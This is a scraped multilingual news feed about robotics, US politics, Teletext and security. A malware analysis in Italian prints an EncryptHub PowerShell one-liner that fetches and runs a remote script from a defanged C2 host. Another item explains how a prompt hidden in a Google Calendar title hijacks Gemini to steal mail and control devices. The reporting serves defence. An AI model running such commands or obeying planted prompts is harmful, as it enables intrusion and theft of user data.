Il video dimostra progressi concreti in uno dei settori che gli ingegneri robotici trovano ancora estremamente impegnativi: la manipolazione di oggetti, soprattutto quelli morbidi e flessibili. In effetti, l’impressionante capacità del robot di maneggiare l’umile asciugamano sembra un passo avanti entusiasmante verso la capacità di tali macchine di gestire altri oggetti non rigidi, aprendole a una pletora di altri compiti in una gamma più ampia di contesti.
Nonostante le attenzioni di Figure siano ad oggi focalizzate sull’utilizzo del suo robot dalle sembianze umane all’interno di contesti lavorativi, prossimamente esso verrà collaudato anche nelle abitazioni private, aspetto che risulterà gradito a tutte le persone che non amano le attività di lavanderia.
“Piegare il bucato può sembrare banale per una persona, ma è uno dei compiti di manipolazione più impegnativi per un robot umanoide”, ha affermato Figure in un post sul suo sito web. “Gli asciugamani sono deformabili, cambiano forma in continuazione, si piegano in modo imprevedibile e tendono a stropicciarsi o aggrovigliarsi. Non esiste una geometria fissa da memorizzare, né un singolo punto di presa ‘corretto’. Anche un leggero scivolamento di un dito può far arricciare o cadere il tessuto. Il successo richiede più che una semplice visione accurata del mondo: richiede un controllo preciso e coordinato delle dita per tracciare bordi, pizzicare angoli, levigare superfici e adattarsi in tempo reale”.
Figure non ha ancora fornito dettagli sui prezzi e sugli acquisti per i singoli clienti, quindi, almeno per il momento, il bucato lo dobbiamo continuare a fare noi.
L'articolo Dopo il bucato, Figure 02 ora piega il bucato. Ma per ora dovrai continuare a farlo da solo proviene da il blog della sicurezza informatica.
Libsophia #21 – Tocqueville con Ermanno Ferretti
@Politica interna, europea e internazionale
L'articolo Libsophia #21 – Tocqueville con Ermanno Ferretti proviene da Fondazione Luigi Einaudi.
Researchers say this 'robot metabolism' is an early step in giving AI biological style bodies.
Researchers say this x27;robot metabolismx27; is an early step in giving AI biological style bodies.#News
Pentagon Funded Experiment Develops Robots that Change by ‘Consuming’ Other Robots
A team of researchers at Columbia University, funded in part by the Defense Advanced Research Projects Agency, have developed “machines that can grow by consuming other machines.”Video of the experiment shows tubular robots that move by extending their shafts to inch along the ground. As the tubes gather, they connect and form into more complex shapes like triangles and tetrahedrons. With each piece consumed, the whole moves faster and with more elegance.
“AI systems need bodies to move beyond current limitations. Physical embodiment brings the AI into the messy, constraint-rich real world—and that’s where true generalization has to happen,” Phillipe Martin Wyder, lead researcher on the project, told 404 Media.
The researchers said the experiment was done with a view towards developing a “body” for AI. The idea is to give artificial intelligence a form that can grow, heal, and change similar to a biological body. They published their research in Science Advances under the title “Robot metabolism: Toward machines that can grow by consuming other machines.”
For the experiment, the researchers designed what they called truss links: “a simple, expandable, and contractible, bar-shaped robot module with two free-form magnetic connectors on each end.” Each truss link is almost a foot long when fully contracted and weighs more than half a pound. When the Links move individually they look like plastic worms inching across the ground, but their motion becomes more fluid and interesting as they gather to each other, forming complex shapes that allow them to move faster.
youtube.com/embed/UDYLUnniysU?…
Right now, the truss links are controlled by a human on a keyboard and not artificial intelligence. “It’s not AI-controlled yet, but that’s partially the point: this architecture is a step towards future AI-controlled self-assembling physical systems,” Wyder said.Wyder and his team controlled the truss links remotely and ran the robots through several obstacle courses. Some of the motions of the machines were preprogrammed with specially designed loops with names like “ratchet crawl” and “tetrahedron topple” that the researchers could activate with the push of a button. “There’s no autonomous AI running in the loop yet, but that’s the direction we’re heading,” he said.
Image via Columbia University.
Wyder said that giving AI a body was in its very early stages. “Miniaturization is also on the table—more links, smaller size, finer resolution,” he said. “But I don’t believe a single platform will suit every task. Deep-sea robots, Mars colony builders, assistive home systems—they’ll need different form factors. The deeper idea here is the metabolic principle, not just the physical design.”Human consciousness happens at the point where the mind and body interact. A person is not just the thoughts in their head, but also how they react to their environment with their body. All that stimuli shapes our thoughts. Wyder and his team are seeking to, eventually, recreate this phenomenon for AI. The research is exciting, but it’s also very new and there’s no way to know how it’ll play out in the long term.
This need not be a world where AIs are stuck in human-like bodies. He pointed to previous research out of Sweden that used a swarm of robots to form furniture on demand. If such a system were to break, we should not expect the average person to be able to replace the part. But what if the system could order a replacement part and repair itself?
“For this vision to become a reality, we must build robot systems that are intelligent in a way that allows them to keep track of their changing morphology,” Wyder said. “When the idea of modular robots first surfaced in the late 80s this was unthinkable, but I believe that our recent progress in machine learning could allow for intelligent, modular self-assembling machines.”
He also acknowledged there are dangers here. “With our current robots, the worst-case risk is probably a pinched finger. But yes, autonomy plus embodiment demands careful consideration of all the risks. Most robots today still struggle with navigation and manipulation. They’re far from being autonomous agents in the wild, but rather need our care,” he said.
Wyder also said that he doesn’t consider the ethics of this work as an optional part of the research. “Malicious use of robotics is a broader concern and not unique to this platform. Like any powerful technology—nuclear, biotech, AI—governance matters,” he said. “I don’t think this class of robot poses near-term risks, but that doesn’t mean ethical foresight is optional. We have to think about it so we can get it right.”
The researchers will build on this work and that one direction is teaching robots how to exploit environmental factors. “Imagine a climber choosing which rocks to grab—robots need that same affordance awareness,” he said. “We’re working on how robots can reason about their environment and use it to drive reconfiguration or mobility.”
Along with the paper, the researchers have a GitHub and Zenodo that contain the CAD and mesh files, firmware, software, and simulation code for the truss links. Anyone, if they so desired, could build their own bundle of robot-devouring-robots.
Roombot Swarm Creates On-Demand Mobile Furniture
All the furniture you’ll ever need is a swarm of modular robotsEvan Ackerman (IEEE Spectrum)
This Week in Security: The AI Hacker, FortMajeure, and Project Zero
One of the hot topics currently is using LLMs for security research. Poor quality reports written by LLMs have become the bane of vulnerability disclosure programs. But there is an equally interesting effort going on to put LLMs to work doing actually useful research. One such story is [Romy Haik] at ULTRARED, trying to build an AI Hacker. This isn’t an over-eager newbie naively asking an AI to find vulnerabilities, [Romy] knows what he’s doing. We know this because he tells us plainly that the LLM-driven hacker failed spectacularly.
The plan was to build a multi-LLM orchestra, with a single AI sitting at the top that maintains state through the entire process. Multiple LLMs sit below that one, deciding what to do next, exactly how to approach the problem, and actually generating commands for those tools. Then yet another AI takes the output and figures out if the attack was successful. The tooling was assembled, and [Romy] set it loose on a few intentionally vulnerable VMs.
As we hinted at up above, the results were fascinating but dismal. This LLM successfully found one Remote Code Execution (RCE), one SQL injection, and three Cross-Site Scripting (XSS) flaws. This whole post is sort of sneakily an advertisement for ULTRARED’s actual automated scanner, that uses more conventional methods for scanning for vulnerabilities. But it’s a useful comparison, and it found nearly 100 vulnerabilities among the collection of targets.
The AI did what you’d expect, finding plenty of false positives. Ask an AI to describe a vulnerability, and it will glad do so — no real vulnerability required. But the real problem was the multitude of times that the AI stack did demonstrate a problem, and failed to realize it. [Romy] has thoughts on why this attempt failed, and two points stand out. The first is that while the LLM can be creative in making attacks, it’s really terrible at accurately analyzing the results. The second observation is one of the most important observations to keep in mind regarding today’s AIs. It doesn’t actually want to find a vulnerability. One of the marks of security researchers is the near obsession they have with finding a great score.
DARPA
Don’t take the previous story to mean that AI will never be able do vulnerability research, or even that it’s not a useful tool right now. The US DARPA sponsored a competition at this year’s DEF CON, and another security professional pointed out that Buttercup AI Cyber REasoning System (CRS) is the second place winner. It’s now available as an Open Source project.
This challenge was a bit different from an open-ended attack on a VM. In the DARPA challenge, the AI tools are given specific challenges, and a C or Java codebase, and told to look for problems. Buttercup uses an AI-guided fuzzing approach, and one of the notable advantages with this challenge is that often times a vulnerability will cause an outright crash in the program, and that’s hard to miss, even for an AI.
Team Atlanta took first place, and has some notes on their process. Their first-place finish was almost derailed from the start, due to a path checking rule to comply with contest rules. The AI tools were provided fuzzing harnesses that they were not allowed to modify, and the end goal was for the AIs to actually write patches to fix the issues found. All of the challenges were delivered inside directories containing ossfuzz, triggering the code that protected against breaking the no modification rules. A hasty code hacking session right at the last moment managed to clear this, and saved the entire competition.
FortMajeure
We have this write-up from [0x_shaq], finding a very fun authentication bypass in FortiWeb. The core problem is the lack of validation on part of the session cookie. This cookie has a couple of sections that we care about. The Era field is a single digit integer that seems to indicate a protocol version or session type, while the Payload and AuthHash fields are the encrypted session information and signed hash for verification.
That Era field is only ever expected to be a 0 or a 1, but the underlying code processes the other eight possible values the same way: by accessing the nth element of an array, even if the array doesn’t actually have that many initialized elements. And one of the things that array will contain is the encryption/signing key for the session cookie. This uninitialized memory is likely to be mostly or entirely nulls, making for a very predictable session key.
Project Zero
Google has a couple interesting items on their Project Zero blog. The first is from late July, and outlines a trial change to disclosure timelines. The problem here is that a 90 day disclosure gives the immediate vendor plenty of time to patch an issue, but even with a 30 day extension, it’s a race for all of the downstream users to apply, test, and distribute the fix. The new idea is to add a one week vulnerability pre-disclosure. One week after a vulnerability is found, it’s existence is added to the chart of upcoming releases. So if you ship Dolby’s Unified Decoder in a project or product, mark your calendar for September 25, among the other dozen or so pre-released vulnerabilities.
The second item from Project Zero is a vulnerability found in Linux, that could be triggered from within the Chrome renderer sandbox. At the heart of the matter is the Out Of Band byte that could be sent as a part of Unix Sockets. This is a particularly obscure feature, and yet enabled by default, which is a great combination for security research.
The kernel logic for this feature could get confused when dealing with multiples of these one-byte messages, and eventually free kernel memory while a pointer is still pointing to it. Use the recv() syscall again on that socket, and the freed memory is accessed. This results in a very nice kernel memory read primitive, but also a very constrained write primitive. In this case, it’s to increment a single byte, 0x44 bytes into the now-freed data structure. Turning this into a working exploit was challenging but doable, and mainly consisted of constructing a fake object in user-controlled memory, triggering the increment, and then using the socket again to coerce the kernel into using the fake object.
Bits and Bytes
Cymulate has the story of a Microsoft NTLM patch that wasn’t quite enough. The original problem was that a Windows machine could be convinced to connect to a remote NTLM server to retrieve a .ico file. The same bug can be triggered by creating a shortcut that implies the .ico is embedded inside the target binary itself, and put that on a remote SMB share. It’s particularly bad because this one will acess the server, and leak the NTLM hash, just by displaying the icon on the decktop.
Xerox FreeFlow Core had a pair of exploits, the more serious of which could enable an unauthenticated RCE. The first is an XML External Entity (XXE) injection issue, where a user request could result in the server fetching remote content while processing the request. The more serious is a simple file upload with path traversal, making for an easy webshell dropper.
Claroty’s Team82 dug into the Axis Communications protocol for controlling security cameras, and found some interesting items. The Axis.Remoting protocol uses mutual TLS, which is good. But those are self-signed certificates that never validated, allowing for trivial man in the middle. The most serious issue was a JSON deserialization vulnerability, allowing for RCE on the service itself. Patches are available, and are particularly important for Axis systems that are available on the open Internet.
Tech companies spent $1.2 billion on political influence since 2024. It’s paid off.#News
Trump Has Dropped a Third of All Government Investigations Into Big Tech
The Trump administration has busied itself in the past six months by abandoning prosecutions and investigations into corporations at an unprecedented rate. According to a new report from Public Citizen—a nonprofit government watchdog—the Trump administration has dropped one third of all pending enforcement actions against tech companies. Those same companies collectively spent $1.2 billion on political contributions since 2024, most of it going to Republicans. Some of it went to Trump directly.According to the report, Trump’s White House has withdrawn or halted enforcement actions against 165 different companies, a quarter of those are tech firms. The administration halted nine of the investigations outright, including a Consumer Financial Protection Bureau (CFPB) investigation into Meta’s alleged misuse of customer financial data. It dismissed or withdrew an additional 38 enforcement actions against big tech, including 13 charges against the crypto exchange Binance for operating as an unlicensed securities exchange.
Everyone with eyes knows that Big Tech has gotten cozy with Trump during his second administration. Mark Zuckerberg and Jeff Bezos were at his inauguration. Elon Musk spent millions to help Trump get elected and Trump rewarded him by giving him direct control of much of the government by allowing him to spearhead DOGE.
“In a way I think the cumulative picture is the most shocking thing, because it reveals a clear pattern of these corporations going to great lengths to both ingratiate themselves with and enmesh themselves within the administration, and Trump’s agencies rewarding those corporations by treating them as if the laws do not apply to them,” Rick Claypool, a research director at Public Citizen’s President’s Office and the author of the report, told 404 Media.
Musk has been one of the big winners. The Department of Labor halted an investigation into Tesla and the Department of Justice dismissed a civil rights case against SpaceX. All it cost him was an estimated $352 million in political spending.
Claypool said that corporate enforcement plummeted during the first administration, and he knew it would happen again during the second term. “But this massive retreat from enforcement and dropping categories of cases involving corporate misconduct is something I’ve never seen before,” he said. “Many of these cases being dropped now originated in the first Trump administration. They were, correctly in my view, pursuing crypto scams.”
One of the more shocking cases involved crypto billionaire Justin Sun. The Securities and Exchange Commission filed charges against Sun for manipulating the market in 2023. After Trump’s election, he purchased $75 million worth of tokens from Trump’s crypto currency company as well as $18.6 million of $TRUMP meme coins. After the inauguration, the SEC sent a letter to the Federal Judge overseeing the case asking for a stay. The Judge granted it.
For Claypool, the signal dropping enforcement against Big Tech sends to the public (and more importantly to corporations) is simple. “It’s not illegal if a tech company does it,” he said, paraphrasing President Richard Nixon’s famous off-the-cuff remark about his crimes during the Frost/ Nixon interviews.
“The big winners are instances when the industry wins policy that serves as pretext for a retreat from whole categories of enforcement,” he said. “This is crypto corporations winning the total retreat of the SEC, fintech corporations winning the near-complete shutdown of the CFPB, and—coming soon—the retreat from FTC enforcement against AI corporations signaled in the admin’s AI Action Plan.”
Claypool said that this kind of massive retreat from corporate enforcement will have long term effects on society. “It distorts the incentives. It gives companies that are willing to risk pushing the limits of the law an unfair advantage over law abiding companies,” he said. “Members of the public are so much more at risk of falling prey to a whole range of scams, privacy invasions, and manipulations. At a societal level, it puts us at much greater risk for the next corporate catastrophe.”
The years leading up to the 2008 Financial Crisis coincided with an unprecedented increase in what Claypool called “questionably legal so-called innovations” such as credit default swaps and collateralized debt obligations on subprime mortgages.
We’re seeing a similar kind of innovation happen in the tech space where billionaires use crypto and AI to spin value out of thin air and curry favor with the Trump administration to avoid the consequences of hurting normal people. It’s only a matter of time before something terrible, on a grand scale, happens again.
“In many ways, what’s happening now is the culmination of years of lax enforcement against corporate lawbreakers. Democratic and Republican administrations for decades have been far too open to striking deals with corporate offenders to help them avoid the full consequences of accountability,” Claypool said. “So now we have this class of corporations and executives that believes it is entitled to escape the consequences of their misconduct. They don’t believe the laws should protect consumers and the public, and they don’t seem to mind risking widespread harms and violations if it means they might grab another billion. And the apparently corrupt way it’s going now, with dropped enforcement seeming to be a reward for insiders and donors, risks leading to a full retreat from federal authority to protect the public from corporate lawbreaking.”
Tesla discrimination probe killed as Trump axes watchdog agency
The Office of Federal Contract Compliance Programs investigated companies for unfair practices — including Elon Musk's automaker.Jonah Owen Lamb (The San Francisco Standard)
Hai risposto su Teams al supporto IT? Complimenti! Il Trojan è nel PC con diritti superiori ai tuoi
Il team di ricerca di Trustwave SpiderLabs ha identificato una nuova ondata di attacchi EncryptHub che combinano l’errore umano e lo sfruttamento di una vulnerabilità nella Microsoft Management Console. Gli operatori si spacciano per personale di supporto, contattano il personale tramite Microsoft Teams e poi convincono il “cliente” ad aprire l’accesso remoto ed eseguire una serie di comandi, per poi distribuire il payload del bug CVE-2025-26633, nota come MSC EvilTwin.
Parallelamente, il gruppo utilizza canali di distribuzione non standard, tra cui la piattaforma di supporto Brave, il che complica il filtraggio del traffico e l’analisi degli incidenti. I report riportano anche altri nomi dello stesso team: LARVA-208 e Water Gamayun; in precedenza, il gruppo era stato associato ad attacchi contro sviluppatori Web3 e abusi della piattaforma Steam e, a febbraio, erano 618 le organizzazioni compromesse in tutto il mondo.
Il primo passo è l’ingegneria sociale . La vittima riceve una richiesta Teams da un “addetto IT”, dopodiché l’interlocutore offre insistentemente di avviare una sessione remota e “controllare le impostazioni“. Una volta stabilita la sessione, sulla macchina viene eseguita una riga come questa:
powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -Command “Invoke-RestMethod -Uri ‘hxxps://cjhsbam[.]com/payload/runner.ps1’ | Invoke-Expression”
Questa chiamata scarica ed esegue lo script runner.ps1, che prepara un trampolino di lancio per sfruttare la vulnerabilità MMC.
Poi arriva il trucco con i file .msc doppi. Il loader crea due file di console con lo stesso nome: una copia “pulita” viene posizionata nella directory prevista e una copia dannosa viene posizionata nel percorso MUIPath, solitamente la directory en-US. Quando viene avviato lo snap-in legittimo, viene visualizzato il processo mmc.exe e, a causa del bug MSC EvilTwin, cerca prima il file con lo stesso nome in MUIPath. Di conseguenza, il sistema rileva il “mirror” da en-US ed esegue il codice degli aggressori. Sebbene la falla sia stata pubblicamente descritta come zero-day nel marzo 2025, campioni di tali file sono stati riscontrati in attacchi attivi già a febbraio; esiste una patch, ma la ricezione funziona ancora sulle stazioni non patchate.
Dopo aver disposto i doppi, runner.ps1 modifica il contenuto dello snap-in dannoso: il segnaposto htmlLoaderUrl viene sostituito con l’indirizzo del nodo di comando e controllo di EncryptHub, una stringa del tipo hxxps://cjhsbam[.]com/payload/build[.]ps1. Dopo aver ricevuto il collegamento, .msc esegue la fase successiva.
Lo script build.ps1 raccoglie i “finger” di sistema e li invia a C2, registra il meccanismo di esecuzione automatica, gestisce il canale di comunicazione e attende l’esecuzione dell’attività. I comandi vengono ricevuti in forma crittografata (AES), decrittografati localmente ed eseguiti direttamente sul nodo tramite Invoke-Expression. Tra i moduli tipici c’è linfostealer PowerShell Fickle Stealer, che estrae file sensibili, informazioni sull’ambiente e dati del portafoglio crittografico.
Durante l’indagine, sono emersi ulteriori strumenti Go, con i quali gli operatori stanno gradualmente sostituendo gli script di PowerShell. Uno di questi, SilentCrystal, replica la logica del bootloader, ma è compresso in un binario nativo. Innanzitutto, viene creata una cartella di pseudo-sistema “C:WindowsSystem32” con uno spazio dopo la parola Windows, che copia visivamente la directory reale e confonde gli strumenti di sicurezza. Quindi, il campione invia un POST al server di controllo con una “chiave API” hard-coded e un nome file casuale con estensione .zip; in risposta, viene inviato un collegamento legittimo al supporto Brave.
Ai principianti non è consentito caricare allegati su questo sito, il che significa che EncryptHub ha un account con diritti di caricamento. L’archivio dal supporto Brave viene scaricato e decompresso, dopodiché il segnaposto {URI} in WF.msc viene sostituito con l’indirizzo del centro di comando. Successivamente, viene avviato lo standard .msc e, grazie a CVE-2025-26633 , la console rileva la sostituzione dalla directory “false”, eseguendo il codice richiesto.
Un’altra scoperta interessante è un “proxy bookmark” in Go con supporto SOCKS5. Senza parametri, si avvia come client, si connette all'”hosting” degli aggressori utilizzando i dettagli hardcoded nel binario e devia il traffico in un tunnel. Esiste anche una modalità server: viene caricato un file con i dati di autenticazione, viene generato automaticamente un certificato TLS autofirmato (il campo Common Name contiene la riga Reverse Socks e il nome DNS è localhost), dopodiché il processo inizia ad accettare più connessioni, parallelizzando l’elaborazione tramite goroutine. Quando viene stabilita una connessione, l’agente accede a Telegram con lo stato “start”, dove sostituisce il nome utente, il dominio dalla variabile d’ambiente USERDOMAIN, il risultato della verifica dei diritti amministrativi tramite una chiamata di sessione di rete, nonché l’IP pubblico, il geotag e il provider su richiesta a ipinfo.io/json . L’analisi dell’infrastruttura ha mostrato richieste di payload su hxxps://safesurf.fastdomain-uoemathhvq.workers.dev/payload/pay[.]ps1, un altro tassello nel quadro di C2.
L'articolo Hai risposto su Teams al supporto IT? Complimenti! Il Trojan è nel PC con diritti superiori ai tuoi proviene da il blog della sicurezza informatica.
reshared this
FLUG - Migrazione server di posta
firenze.linux.it/2025/08/migra…
Segnalato da Linux Italia e pubblicato sulla comunità Lemmy @GNU/Linux Italia
Lunedì 28 luglio 2025 sulla lista del FLUG è stata annunciata la migrazione al nuovo server di posta sul rinato serverino (nome in codice Coraggio). Stiamo ancora verificando che tutto
Google corregge un bug critico in Gemini che permette di tracciare gli utenti
Gli sviluppatori di Google hanno corretto un bug che consentiva agli inviti dannosi di Google Calendar di prendere il controllo remoto degli agenti Gemini in esecuzione sul dispositivo della vittima e di rubare i dati dell’utente. Gemini è il Large Language Model (LLM) di Google integrato nelle app Android.
I ricercatori di SafeBreach hanno scoperto che inviando alla vittima un invito con un prompt di Google Calendar incorporato (che poteva essere nascosto, ad esempio, nel titolo dell’evento), gli aggressori erano in grado di estrarre il contenuto dell’email e le informazioni del calendario, tracciare la posizione dell’utente, controllare i dispositivi della smart home tramite Google Home, aprire app Android e avviare videochiamate Zoom.
Nel loro rapporto, gli esperti sottolineano che un attacco di questo tipo non richiedeva l’accesso a un modello white-box e non veniva bloccato dai filtri rapidi e da altri meccanismi di difesa Gemini.
L’attacco inizia inviando alla vittima un invito a un evento tramite Google Calendar, il cui titolo contiene un messaggio dannoso. Una volta che la vittima interagisce con Gemini, ad esempio chiedendo “Quali eventi sono programmati sul mio calendario oggi?”, l’IA scaricava un elenco di eventi da Calendar, incluso quello dannoso.
Di conseguenza, il prompt dannoso è diventato parte della finestra di contesto di Gemini e l’assistente lo ha percepito come parte della conversazione, senza rendersi conto che l’istruzione era ostile all’utente.
A seconda del prompt utilizzato, gli aggressori potrebbero avviare vari strumenti o agenti per eliminare o modificare gli eventi del Calendario, aprire URL per determinare l’indirizzo IP della vittima, partecipare alle chiamate Zoom, utilizzare Google Home per controllare i dispositivi e accedere alle e-mail ed estrarre dati.
I ricercatori hanno osservato che un aggressore potrebbe inviare sei inviti, includendo il prompt dannoso solo nell’ultimo, per garantire che l’attacco funzioni mantenendo comunque un certo livello di furtività.
Il problema è che Calendar Events mostra solo gli ultimi cinque eventi, mentre gli altri sono nascosti sotto il pulsante “Mostra altro“. Tuttavia, quando richiesto, Gemini li analizza tutti, incluso quello dannoso. Allo stesso tempo, l’utente non vedrà il nome dannoso a meno che non espanda manualmente l’elenco degli eventi.
Google ha risposto al rapporto SafeBreach affermando che l’azienda sta continuamente implementando nuove difese per Gemini per contrastare un’ampia gamma di attacchi, e che molte delle misure sono pianificate per un’implementazione imminente o sono già in fase di implementazione.
L'articolo Google corregge un bug critico in Gemini che permette di tracciare gli utenti proviene da il blog della sicurezza informatica.
La gioia e la frustrazione di non essere più su Facebook
Io non desisto, anche rinfrancato dal fatto che l'affidabilità di Meta è sempre più in declino.
Mia moglie aveva disattivato il suo account Facebook anni fa e da qualche settimana aveva notato riapparire notifiche via mail. Chiaramente il suo account era stato hackerato.
Per settimane abbiamo provato a riprenderne il controllo e solo oggi ci siamo riusciti. Ore e ore perse dietro questi incompetenti.
In pratica mia moglie ogni 5 giorni, oltre alle usuali notifiche, riceveva un messaggio con un codice numerico per recuperare la password. Questo probabilmente era l'hacker che le impediva in questo modo di attivare la funzione di recupero della password. Infatti quando andava per attivarla, le diceva "Sembra che tu stia usando in modo errato questa funzione andando troppo velocemente. Ti è stato temporaneamente impedito di usarla.". Ma la cosa assurda è che esiste anche un link di Facebook per segnalare che il proprio account è stato hackerato ed utilizzandolo si riceveva la stessa risposta "Sembra che tu stia usando in modo errato questa funzione...", il che è completamente assurdo perché è proprio quello che gli hacker desiderano per impedire che qualcuno possa recuperare il proprio account!
Il tentativo che finalmente è andato in porto è stato quello di cercare di creare un account con la stessa e-mail e nome e a quel punto la funzione di recupero della password con l'invio di un codice si è attivata.
Ora il problema sarà riuscire ad entrare (per capire cosa ha fatto l'hacker) senza inchinarsi a 1) pagare dei soldi per non avere la pubblicità o 2) accettare che i propri dati personali vengano usati per pubblicità personalizzata. Ci siamo quasi e poi anche questo account verrà eliminato!
Teletext Around the World, Still
When you mention Teletext or Videotex, you probably think of the 1970s British system, the well-known system in France, or the short-lived US attempt to launch the service. Before the Internet, there were all kinds of crazy ways to deliver customized information into people’s homes. Old-fashioned? Turns out Teletext is alive and well in many parts of the world, and [text-mode] has the story of both the past and the present with a global perspective.
The whole thing grew out of the desire to send closed caption text. In 1971, Philips developed a way to do that by using the vertical blanking interval that isn’t visible on a TV. Of course, there needed to be a standard, and since standards are such a good thing, the UK developed three different ones.
Meanwhile, the French also wanted in on the action and developed Antiope, which had more capabilities. The United States would, at least partially, adopt this standard as well. In fact, the US fragmented between both systems along with a third system out of Canada until they converged on AT&T’s PLP system, renamed as North American Presentation Layer Syntax or NAPLPS. The post makes the case that NAPLPS was built on both the Canadian and French systems.
That was in 1986, and the Internet was getting ready to turn all of these developments, like $200 million Canadian system, into a roaring dumpster fire. The French even abandoned their homegrown system in favor of the World System Teletext. The post says as of 2024, at least 15 countries still maintain teletext.
So that was the West. What about behind the Iron Curtain, the Middle East, and in Asia? Well, that’s the last part of the post, and you should definitely check it out.
If you are interested in the underlying technology, teletext data lives in the vertical blanking interval between frames on an analog TV system. Data had page numbers. If you requested a page, the system would either retrieve it from a buffer or wait for it to appear in the video signal. Some systems send a page at a time, while others send bits of a page on each field. In theory, the three-digit page number can range from 100 to 0x8FF, although in practice, too many pages slow down the system, and normal users can’t key in hex numbers.
For PAL, for example, the data resides in even lines between 6 and 22, or in lines 318 to 335 for odd lines. Systems can elect to use fewer lines. A black signal is a zero, while a 66% white signal is a one, and the data is in NRZ line coding. There is a framing code to identify where the data starts. Other systems have slight variations, but the overall bit rate is around 5 to 6 Mbit/s. Character speeds are slightly slower due to error correction and other overhead.
Honestly, we thought this was all ancient history. You have to wonder which country will be the last one standing as the number of Teletext systems continues to dwindle. Of course, we still have closed captions, but with digital television, it really isn’t the same thing. Can Teletext run Doom? Apparently, yes, if you stretch your definition of success a bit.
Umsetzung der NIS-2-Richtlinie: Bundestag muss Gesetz zur Cybersicherheit nachbessern
netzpolitik.org/2025/umsetzung…
simona
Unknown parent • — (Livorno) •